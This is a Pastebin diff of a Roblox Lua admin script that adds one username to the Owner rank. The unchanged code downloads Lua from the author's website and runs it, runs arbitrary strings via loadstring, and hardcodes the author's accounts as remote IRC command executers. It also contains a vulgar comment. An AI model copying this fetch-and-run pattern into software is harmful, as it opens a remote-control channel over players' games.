View difference between Paste ID: 9QMy20GE and AEzbY2DG

 --[[
 Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
 If you want to know what commands do just go into your game and say ;cmds for a list of
 commands, what they do, examples, rank needed, and more!
 Or, go to http://www.classy-studios.com/V3/Commands.php
 If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
 
 
 TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
 
 --->> DO NOT EDIT THESE SETTINGS <<---
 Well you can but it's a waste of your time. The settings are located in workspace
 in a folder called "MakerModelLua's Settings". You can also use this plugin:
 
 http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
 
 USE REMOTE ADMIN:
 http://www.classy-studios.com/Login/
 Mobile: http://appsto.re/us/hEn7fb.i
 
 
 
 ...also... this is open source! No stupid shady module scripts, which means it works in studio!
 
 ]]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
 
 
 local Settings = {
 	Ranks = {
-		["Owner"] = {};
+		["Owner"] = {"firebudgy"};
 		["Admin"] = {};
 		["Member"] = {};
 		["Banned"] = {};
 		["Crashed"] = {};
 		["Muted"] = {};
 	};
 
 	Prefix = ";";
 	Bet = " ";
 	MinimumAge = 0;
 	ServerLocked = false;
 	ColorScheme = "White";
 	TransparencyScheme = 50;
 	Fun = true;
 	EnableAdminMenu = true;
 	EnableTaskBar = true;
 	FreeAdmin = false;
 	Font = "Arial";
 
 	DisableAbuse = false;
 	AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
 	AbusableGear = {};
 
 	LinkedAccount = "";
 	DataKey = "";
 
 	ExecuteNotificationSound = 0; --177578949
 	EnableSounds = true;
 
 	VIPMemberID = 0;
 	VIPAdminID = 0;
 
 	GroupID = 0;
 	GroupBanRank = 0;
 	GroupMemberRank = 0;
 	GroupAdminRank = 0;
 	GroupOwnerRank = 0;
 	GroupRankBan = 0;
 	BannedGroupIDs = {};
 
 	IRCServer = "";
 	IRCChannel = "";
 	IRCCommandExecuters = {};
 
 	TrelloToken = ""
 }
 
 local Colors = {
 	["WHITE"] = Color3.new(1,1,1);
 	["BLACK"] = Color3.new(0,0,0);
 	["GRAY"] = Color3.new(0.5,0.5,0.5);
 	["RED"] = Color3.new(1,0,0);
 	["GREEN"] = Color3.new(0,1,0);
 	["BLUE"] = Color3.new(0,0,1);
 	["YELLOW"] = Color3.new(1,1,0);
 	["PINK"] = Color3.new(1,0,1);
 	["MAGENTA"] = Color3.new(1,0,1);
 	["CYAN"] = BrickColor.new("Cyan").Color;
 	["TEAL"] = BrickColor.new("Teal").Color;
 	["BROWN"] = Color3.new(0.55,0.25,0.075);
 	["PURPLE"] = Color3.new(0.5,0,0.5);
 	["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
 }
 
 local Server = {
 	Workspace = game:GetService("Workspace");
 	Players = game:GetService("Players");
 	Lighting = game:GetService("Lighting");
 	MPS = game:GetService("MarketplaceService");
 	TS = game:GetService("TeleportService");
 	HS = game:GetService("HttpService");
 	RS = game:GetService("RunService");
 	PS = game:GetService("PointsService");
 	TestS = game:GetService("TestService");
 	IS = game:GetService("InsertService");
 	Teams = game:GetService("Teams");
 	Data = game:GetService("DataStoreService");
 	GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
 	NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
 	Storage = game:GetService("ServerStorage");
 	RS = game:GetService("ReplicatedStorage");
 	AS = game:GetService("AssetService");
 }
 
 local Icons = {
 	["Message"] = 7724351;
 	["Error"] = 94011556;
 	["Information"] = 144175130;
 	["Check"] = 132769976;
 	["Search"] = 61994930;
 	["Time"] = 136391033;
 	["Notice"] = 156507320;
 	["Sound"] = 164682936;
 	["Log"] = 70650545;
 	["Question"] = 41363872;
 	["Output"] = 11481605;
 	["Admin"] = 302470270;
 	["Lock"] = 11341626;
 	["Settings"] = 131064748;
 	["Map"] = 257119661;
 	["Plugin"] = 257097414;
 }
 
 local IRC = {
 	Codes = {
 		["001"] = "RPL_WELCOME",
 		["002"] = "RPL_YOURHOST",
 		["003"] = "RPL_CREATED",
 		["004"] = "RPL_MYINFO",
 		["005"] = "RPL_ISUPPORT",
 		["250"] = "RPL_STATSCONN",
 		["251"] = "RPL_LUSERCLIENT",
 		["252"] = "RPL_LUSEROP",
 		["254"] = "RPL_LUSERCHANNELS",
 		["255"] = "RPL_LUSERME",
 		["265"] = "RPL_LOCALUSERS",
 		["266"] = "RPL_GLOBALUSERS",
 		["352"] = "RPL_WHOREPLY",
 		["371"] = "RPL_INFO",
 		["372"] = "RPL_MOTD",
 		["374"] = "RPL_ENDINFO",
 		["375"] = "RPL_MOTDSTART",
 		["376"] = "RPL_ENDOFMOTD",
 		["422"] = "ERR_NOMOTD",
 	},
 	Ignore = {
 		["004"] = true,
 		["005"] = true,
 	};
 	Users = {};
 	Logs = {};
 	Chats = {};
 	Forms = {};
 	MessageAdded = Instance.new("BindableEvent");
 
 	Servers = {
 		["esper.net"] = {
 			BaseUrl = "http://webchat.esper.net/";
 			DynamicUrl = "";
 		};
 		["quakenet.org"] = {
 			BaseUrl = "http://webchat.quakenet.org/";
 			DynamicUrl = "dynamic/leibniz",
 		};
 		["swiftirc.net"] = {
 			BaseUrl = "http://qwebirc.swiftirc.net/";
 			DynamicUrl = "",
 		};
 	};
 	NickName = "rbxMMLV3_"..math.random(1,100000);
 
 	SessionCounter = 0;
 	Connected = false;
 	Stop = false;
 	SessionID = "";
 }
 
 local RankHUD = {
 	["Muted"] = 202180094;
 	["Non-Admin"] = 202180121;
 	["Member"] = 202180052;
 	["Admin"] = 202180015;
 	["Owner"] = 202179988;
 }
 
 local TextConverter = {
 	LetterSounds = {
 		["a"] = {223757826, nil}; -- 203343899
 		["b"] = {223533700, 0.2}; -- 203344029
 		["c"] = {223533711, nil}; -- 203343994
 		["d"] = {223757910, nil}; -- 203398237
 		["e"] = {223758026, nil}; -- 203398295
 		["f"] = {223777655, nil}; -- 203398347
 		["g"] = {223777738, nil}; -- 203398372
 		["h"] = {223777757, nil}; -- 203398397
 		["i"] = {223777807, nil}; -- 203398422
 		["j"] = {223782888, nil}; -- 203398450
 		["k"] = {223533711, nil}; -- 203343994
 		["l"] = {223782961, 0.4}; -- 203398541
 		["m"] = {223782992, nil}; -- 203398578
 		["n"] = {223783063, nil}; -- 203398599
 		["o"] = {223783184, nil}; -- 203398611
 		["p"] = {223783235, nil}; -- 203398727
 		["q"] = {223783260, nil}; -- 203398755
 		["r"] = {223783305, 0.2}; -- 203398792
 		["s"] = {223783377, nil}; -- 203398806
 		["t"] = {223783446, nil}; -- 203398850
 		["u"] = {223783512, nil}; -- 203398872
 		["v"] = {223783654, nil}; -- 203398965
 		["w"] = {223783697, nil}; -- 203398984
 		["x"] = {223783796, nil}; -- 203399008
 		["y"] = {223783853, nil}; -- 203399043
 		["z"] = {223783893, nil}; -- 203399096
 
 		["ch"] = {223784367, 0.3}; -- 203592149
 		["th"] = {223788235, 0.3}; -- 203399215
 		["sh"] = {223784505, 0.2}; -- 203399566
 		["wh"] = {223784555, 0.3}; -- 203622828
 		["oo"] = {223784456, 0.3}; -- 203399743
 		["ing"] = {223784393, 0.3}; -- 203402836
 	};
 
 	LongVowels = {
 		["a"] = {223533687, nil}; -- 203343932
 		["e"] = {223777620, nil}; -- 203398314
 		["i"] = {223777855, nil}; -- 203398440
 		["o"] = {223783212, nil}; -- 203398619
 		["u"] = {223783572, nil}; -- 203398897
 	};
 
 	Pronounce = {
 		["0"] = "zero";
 		["1"] = "wun";
 		["2"] = "too";
 		["3"] = "three";
 		["4"] = "four";
 		["5"] = "five";
 		["6"] = "six";
 		["7"] = "seven";
 		["8"] = "eyt";
 		["9"] = "nine";
 		["one"] = "wun";
 		["two"] = "too";
 		["eight"] = "eyt";
 		["eigh"] = "ey";
 		["gh"] = "h";
 		["kn"] = "n";
 		["come"] = "cu".."m";
 		["bye"] = "bi";
 		["#"] = "hashtag";
 		["@"] = "at";
 		["&"] = "and";
 		["*"] = "astrict";
 		["mn"] = "m";
 		["kn"] = "n";
 		["ies"] = "ees";
 	};
 
 	NonEnglishRules = {
 		["to"] = "too";
 		["you"] = "yoo";
 		["we"] = "wee";
 		["are"] = "erh";
 		["your"] = "yoor";
 		["you're"] = "yoor";
 		["youre"] = "yoor";
 		["pizza"] = "peetzoh";
 		["ok"] = "okay";
 		["have"] = "hav";
 		["my"] = "mi";
 		["me"] = "mee";
 		["u"] = "yoo";
 		["r"] = "erh";
 		["move"] = "moov";
 		["dove"] = "duv";
 		["debris"] = "debree";
 		["do"] = "doo";
 	}
 }
 
 local HTMLDecode = {
 	["35"] = "#";
 	["36"] = "$";
 	["37"] = "%%";
 	["38"] = "*";
 	["39"] = "'";
 	["58"] = ":";
 	["59"] = ";";
 	["60"] = "<";
 	["62"] = ">";
 }
 
 
 local Assets = {
 	Packages = {
 		[27112438] = {27112025,27112039,27112052,27112056,27112068};
 		[139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
 		[77518833] = {77518564,77518616,77518654,77518696,77518737};
 		[32336368] = {32336059,32336117,32336182,32336243,32336306};
 		[59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
 		[54116460] = {54116290,54116338,54116373,54116394,54116432};
 		[39977366] = {39976703,39976829,39976927,39977192,39977295};
 		[32357766] = {32357663,32357631,32357619,32357584,32357558};
 		[27123973] = {27121265,27121306,27121353,27121393,27121432};
 		[55717536] = {55717271,55717330,55717388,55717434,55717491};
 		[28279963] = {28279160,28279217,28279859,28279894,28279938};
 		[27403592] = {27402580,27402546,27402641,27402714,27402742};
 		[86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
 		[86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
 		[48474394] = {48474356,48474294};
 		[187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
 		[223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
 		[188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
 		[139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
 		[33378577] = {33378366,33378438,33378484,33378522,33378540};
 		[101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
 		[136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
 		[91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
 		[41851073] = {41850825,41850868,41850915,41851009,41850959}
 	};
 	AssetTypes = {
 		[0] = "Product";
 		[1] = "Image";
 		[2] = "T-Shirt";
 		[3] = "Audio";
 		[4] = "Mesh";
 		[5] = "Lua";
 		[6] = "HTML";
 		[7] = "Text";
 		[8] = "Hat";
 		[9] = "Place";
 		[10] = "Model";
 		[11] = "Shirt";
 		[12] = "Pants";
 		[13] = "Decal";
 		[16] = "Avatar";
 		[17] = "Head";
 		[18] = "Face";
 		[19] = "Gear";
 		[21] = "Badge";
 		[22] = "Group Emblem";
 		[24] = "Animation";
 		[25] = "Arms";
 		[26] = "Legs";
 		[27] = "Torso";
 		[28] = "Right Arm";
 		[29] = "Left Arm";
 		[30] = "Left Leg";
 		[31] = "Right Leg";
 		[32] = "Package";
 		[33] = "YouTube Video";
 		[34] = "Game Pass";
 		[38] = "Plugin";
 		[39] = "SolidModel";
 		[40] = "MeshPart";
 		[41] = "Hair Accessory";
 		[42] = "Face Accessory";
 		[43] = "Neck Accessory";
 		[44] = "Shoulder Accessory";
 		[45] = "Front Accessory";
 		[46] = "Back Accessory";
 	};
 	AccessoryTypes = {
 		["all"] = 19;
 		["hats"] = 9;
 		["hair"] = 20;
 		["face"] = 21;
 		["neck"] = 22;
 		["shoulder"] = 23;
 		["front"] = 24;
 		["back"] = 25;
 		["waist"] = 26;
 	};
 }
 
 local CharacterCache = {
 	{"MakerModelLua", 38837082};
 	{"LuaModelMaker", 20920633};
 	{"builderman", 156};
 	{"Shedletsky", 261};
 	{"Telamon", 13645};
 	{"ROBLOX", 1};
 }
 
 local FaceCovert = {
 	Left = "xpos";
 	Right = "xneg";
 	Front = "zpos";
 	Back = "zneg";
 	Top = "ypos";
 	Bottom = "yneg";
 }
 
 local Meshes = {
 	["crown"] = {1, 1078075};
 	["king"] = {1, 11419761};
 	["teapot"] = {0.03, 1029523};
 	["apple"] = {2.5, 16190555};
 	["potato"] = {1, 25268275};
 	["panda"] = {0.5, 20709221};
 	["dominus"] = {0.5, 21057410};
 	["fedora"] = {0.75, 13640868};
 	["noob"] = {1, 20929341};
 	["knife"] = {0.3, 121944778};
 	["book"] = {0.3, 1136139};
 }
 
 local NotifySounds = {
 	["Hover"] = 223134269;
 	["Select"] = 292141227;
 }
 
 local Trello = {
 	TrelloInfoCard = "x1rUtwEj";
 	MainBoard = {};
 	RequiredLists = {};
 	RankChecklistCache = {};
 	ToggleChecklist = nil;
 	CommandID = nil;
 	LastCommandDT = 0;
 	AdminBoardID = "577ea1b21cb7975666524f26";
 	RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
 	RemoteDataCard = "dLtMo1en"
 }
 
 local ScriptBuilders = {
 	[260897989] = "MML's";
 	[21053279] = "Anti's pub";
 	[21053219] = "Anti's pri";
 	[20279777] = "Void's 1";
 	[437965235] = "Void's 2";
 	[227015991] = "Vox's";
 	[210101277] = "Master's";
 	[531937877] = "Bleu pigs";
 	[519251450] = "Game's";
 }
 
 -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
 -- Why else would I NOT have put it in a module?!?!?
 
 local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
 
 local SoundList,GlobalSoundList = {},{}
 local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
 local TempChatLogs = {}
 local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
 local NoSpeak = false
 
 local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
 local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
 
 local ChatLogs,CommandLogs = {},{}
 local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
 local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
 local Dispose,Jails,PermCommandBars = {},{},{}
 local Waypoints = {["Center"] = Vector3.new(0,0,0)}
 local Objects = {}
 local Sound = nil
 local ModLighting = false
 local DataReady = true
 local RemoteAbuseGear = {}
 
 local GameOwner = "[ Client ]"
 local PlaceName = "Unknown"
 local PlaceInfo = {}
 local IsStudio = false
 local IsSB = false
 local Date = nil
 local Fonts = {}
 local PendingRequests = {}
 local F3X = script:FindFirstChild("F3X Tools")
 local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
 local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
 local KeyBinds = {}
 local Crowns = {}
 local LastKeys = {}
 local Cars = {}
 local StringReplacements = {}
 local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
 local NoBet = {"/", "-", "(", ")", ""}
 local ShouldFilter = true
 
 local CrownStorage = script:FindFirstChild("CrownStorage")
 if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
 
 -- import old settings just in case --
 local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
 if OldSettings then
 	OldSettings = require(OldSettings)
 
 	for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
 		Settings[ValName] = OldSettings[ValName]
 	end
 	Settings.GroupBanRank = OldSettings.RankBan
 	Settings.Fun = OldSettings.FUN
 end
 
 if F3X then
 	F3X = F3X:Clone()
 	F3X.Handle.Anchored = false
 	script:FindFirstChild("F3X Tools"):Destroy()
 end
 
 wait(0.1)
 
 local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
 -- tries to defualt to server storage, just in case an exploiter makes their own settings.
 
 if SettingsValues then
 	SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
 	if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
 		for _,Value in pairs(SettingsValues:GetChildren()) do
 			if Settings[Value.Name] ~= nil then
 				if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
 					for _,NewValue in pairs(Value:GetChildren()) do
 						if ypcall(function() return NewValue.Value end) then
 							if Settings[Value.Name][NewValue.Name] then
 								local Val = NewValue.Value
 								if type(Settings[Value.Name][NewValue.Name]) == "table" then
 									Val = {}
 									for Word in string.gmatch(NewValue.Value, "[%w_]+") do
 										table.insert(Val, Word)
 									end
 								end
 								Settings[Value.Name][NewValue.Name] = Val
 							end
 						end
 					end
 				else
 					if Settings[Value.Name] ~= nil then
 						local Val = Value.Value
 						if type(Settings[Value.Name]) == "table" then
 							Val = {}
 							for Word in string.gmatch(Value.Value, "%w+") do
 								table.insert(Val, Word)
 							end
 						end
 						Settings[Value.Name] = Val
 					end
 				end
 			end
 		end
 	end
 end
 
 if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
 	Settings.LinkedAccount = ""
 elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
 	Settings.LinkedAccount = "Admin"
 end
 
 local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
 local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
 
 wait(1)
 
 local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
 
 if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
 
 if not IsStudio then
 	Server.NS = game:GetService("NetworkServer")
 	script.Name = "Maker".."Mo".."delLua's Admin"
 end
 
 if game.PlaceId > 0 then
 	PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
 	PlaceName = PlaceInfo.Name
 end
 
 local function GetGameOwner()
 	if PlaceInfo.Creator.CreatorType == "Group" then
 		GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
 		print("MML's Admin: Found group owner for game: "..GameOwner)
 	elseif PlaceInfo.Creator.CreatorType == "User" then
 		GameOwner = PlaceInfo.Creator.Name
 		print("MML's Admin: Found game owner: "..GameOwner)
 	else
 		ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
 	end
 end
 
 if string.byte(string.sub(PlaceName,1,1)) == 226 then
 	PlaceName = string.sub(PlaceName,4,#PlaceName)
 end
 for i = 1,5 do
 	if GameOwner == "[ Client ]" then
 		print("MML's Admin: Attempting to establish owner's name #"..i)
 		GetGameOwner()
 		wait(1)
 	end
 end
 
 if ScriptBuilders[PlaceID] or NLS then
 	IsSB = true
 end
 
 if IsSB then
 	ShouldFilter = false
 	Settings.IRCServer = "swiftirc.net";
 	Settings.IRCChannel = "#PkamaraSB";
 	Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
 	if Settings.TrelloToken == "" then
 		Settings.LinkedAccount = "ScriptBuilder"
 	end
 	if Settings.DataKey == "" then coroutine.wrap(function()
 		repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
 		local Key = Server.Storage:FindFirstChild("MML DataKey")
 		print("Found key: "..Key.Value)
 		Settings.DataKey = Key.Value
 		Key:Destroy()
 	end)() end
 end
 local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
 table.insert(Settings.Ranks["Owner"], GameOwner)
 
 for _,Font in pairs(Enum.Font:GetEnumItems()) do
 	Fonts[Font.Name] = Font
 end
 
 local LogClient = script:FindFirstChild("AddClientInfo")
 if LogClient then LogClient:Destroy() end
 LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
 LogClient.OnServerInvoke = function(Player, Info)
 	if Info then
 		for Key,Data in pairs(Info) do
 			ClientInfo[Player.Name][Key] = Data
 		end
 	end
 end
 
 local function MakeFunction(Type, Name)
 	local Func = script:FindFirstChild(Name)
 	if Func then Func:Destroy() end
 	Func = Instance.new(Type, script) Func.Name = Name
 
 	getfenv()[Name] = Func
 	return Func
 end
 
 MakeFunction("BindableFunction", "ExecuteCommand")
 MakeFunction("RemoteFunction", "ExecuteCommandClient")
 MakeFunction("BindableFunction", "ExecuteCode")
 
 MakeFunction("RemoteFunction", "IsAdmin")
 MakeFunction("RemoteFunction", "AddExploit")
 MakeFunction("BindableFunction", "AddExploitServer")
 MakeFunction("RemoteFunction", "KickClient")
 MakeFunction("RemoteFunction", "ConvertTextToSound")
 
 MakeFunction("RemoteFunction", "KeyPressed")
 MakeFunction("RemoteFunction", "InputKey")
 
 MakeFunction("RemoteFunction", "RankPlayerLocal")
 MakeFunction("BindableFunction", "RankPlayerServer")
 
 --[[
 if NLS then
 	local Value = script:FindFirstChild("Override")
 	LogClient.Parent = game
 	if not Value then
 		local Value = Instance.new("BoolValue", script) Value.Name = "Override"
 		local CloneScript = script:Clone()
 		CloneScript.Disabled = true
 		CloneScript.Parent = game:FindFirstChild("ServerScriptService")
 		CloneScript.Disabled = false
 		CloneScript.Parent = nil
 
 		script:Destroy() script.Disabled = true
 	end
 end
 ]]
 
 if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
 
 IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
 
 -- Core functions --
 
 function CORE:FixSettings()
 	for _,Bet in pairs(NoBet) do
 		if Settings.Bet == Bet then
 			Settings.Bet = " "
 			break
 		end
 	end
 	CORE:ChangeBet(Settings.Bet)
 
 	if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
 	if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
 
 	if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
 	if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
 	Settings.TransparencyScheme = Settings.TransparencyScheme/100
 
 	if not Fonts[Settings.Font] then
 		Settings.Font = "Arial"
 	end
 end
 
 function CORE:NilPlayer(Player)
 	if Player == nil or type(Player) == "table" then return true else return false end
 end
 
 function CORE:ExecuteResource(ResourceName, Parent, Data)
 	local ReturnScript = nil
 	local Executed = true
 	if script:FindFirstChild("Resources") then
 		local RawResource = script.Resources:FindFirstChild(ResourceName)
 		if RawResource then
 			local Resource = RawResource:Clone()
 			Resource.Disabled = true
 			Resource.Parent = Parent
 			if Data then
 				for Key,Value in pairs(Data) do
 					if Resource[Key] then
 						Resource[Key].Value = Value
 					end
 				end
 			end
 			wait()
 			Resource.Disabled = false
 			ReturnScript = Resource
 		else
 			Executed = false
 		end
 	else
 		Executed = false
 	end
 	if Executed == false then
 		if not Data then Data = {} end
 		local Source = ScriptCache[ResourceName]
 
 		if not Source then
 			Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
 			if Source then
 				ScriptCache[ResourceName] = Source
 			end
 		end
 
 		if Data and Source then
 			for Key,Value in pairs(Data) do
 				Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
 			end
 		end
 
 		if Source then
 			if NLS then
 				ReturnScript = NLS(Source, Parent)
 			elseif createLocalScriptWithSource then
 				ReturnScript = createLocalScriptWithSource(Source)
 				ReturnScript.Parent = Parent
 			end
 		end
 	end
 	return ReturnScript
 end
 
 function CORE:CreateRemotePropertyReader(Obj, Override)
 	if Server.Workspace.FilteringEnabled == true or Override then
 		local Reader = Instance.new("RemoteFunction", Obj)
 		Reader.Name = "RemotePropertyReader"
 		CORE:ExecuteResource("RemotePropertyReader", Reader)
 		return Reader
 	else
 		return Obj
 	end
 end
 
 function CORE:ReadProperty(Reader, Player, Property)
 	if Reader:IsA("RemoteFunction") then
 		return Reader:InvokeClient(Player, Property)
 	else
 		return Reader[Property]
 	end
 end
 
 function CORE:WriteProperty(Reader, Player, Property, Value)
 	if Reader:IsA("RemoteFunction") then
 		return Reader:InvokeClient(Player, Property, Value)
 	else
 		return Reader[Property]
 	end
 end
 
 
 function CORE:CreateRemoteEvent(Obj, EventName)
 	local Event = Instance.new("RemoteEvent", Obj)
 	Event.Name = "RemoteEvent_"..EventName
 	CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
 	return Event
 end
 
 function CORE:HandleEvent(Obj, EventName, Func, NewThread)
 	local function Handle()
 		if Server.Workspace.FilteringEnabled == true then
 			local Event = CORE:CreateRemoteEvent(Obj, EventName)
 			return Event.OnServerEvent:connect(function(Player, ...)
 				Func(...)
 			end)
 		else
 			return Obj[EventName]:connect(Func)
 		end
 	end
 	if NewThread then
 		Spawn(Handle)
 	else
 		Handle()
 	end
 end
 
 function CORE:HandleError(Error, Speaker)
 	local Return = ""
 	if not Error or Error == "" then
 		Return = "Unknown Error"
 	else
 		Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
 	end
 	if Speaker then
 		GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
 	end
 	return Return
 end
 
 local function ExecuteSafe(Source, Speaker) -- no CORE
 	local Script, Error = loadstring(Source)
 	if Error then
 		return false, CORE:HandleError(Error, Speaker)
 	else
 		getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
 		getfenv(Script).Server, getfenv(Script).script = Server,script
 		if Speaker then
 			getfenv(Script).print = function(...)
 				GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
 			end
 			getfenv(Script).print_array = function(List)
 				if type(List) == "table" then
 					GUI:ListGui(Speaker, "Listed Table", List, "Output")
 				end
 			end
 		end
 
 		local Suc, Error = ypcall(coroutine.wrap(Script))
 
 		if not Suc then
 			Error = CORE:HandleError(Error, Speaker)
 		end
 
 		return Suc,Error
 	end
 end
 
 function CORE:GetTime(Regular, FullDate)
 	if Regular == nil then Regular = true end
 	local Meridiem = ""
 	if Regular == true then Meridiem = " AM" end
 	local SecondsOfToday = math.fmod(os.time(), 60*60*24)
 	local Hour = math.floor(SecondsOfToday / (60*60))
 	local Minute = math.floor(SecondsOfToday/60 - Hour*60)
 	local Second = math.floor(math.fmod(SecondsOfToday, 60))
 	if Hour > 12 and Regular == true then
 		Hour = Hour - 12
 		Meridiem = " PM"
 	end
 	Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
 	if #Hour <= 1 then Hour = "0"..Hour end
 	if #Minute <= 1 then Minute = "0"..Minute end
 	if #Second <= 1 then Second = "0"..Second end
 	local Return = Hour..":"..Minute..":"..Second..Meridiem
 	if FullDate == true and Date then Return = Date.." "..Return end
 	return Return
 end
 
 function CORE:RemoveAdmin(Speaker)
 	local Answer = true -- false
 	if not CORE:NilPlayer(Speaker) then
 		Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
 	end
 	if Answer == "Yes" or CORE:NilPlayer(Speaker) then
 		if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
 		for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
 			for _,Item in pairs(Player:GetChildren()) do
 				if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
 					Item:Destroy()
 				end
 			end
 			for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
 				if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
 					GUI:Destroy()
 				end
 			end
 		end end
 		for _,Car in pairs(Cars) do
 			Car:Destroy()
 		end
 		CORE:FixLighting()
 		while wait() do
 			if script:FindFirstChild("Override") then script.Override.Value = true end
 			Settings,CORE,IRC = nil,{},{}
 			if Sound then Sound:Stop() end
 			if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
 			script:ClearAllChildren() script:Destroy() script.Disabled = true
 		end
 	end
 end
 
 function CORE:MakeBase()
 	for _,Get in pairs(Workspace:GetChildren()) do
 		if Get.Name == "Base" or Get.Name == "BasePlate" then
 			Get:Destroy()
 		end
 	end
 	local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
 end
 
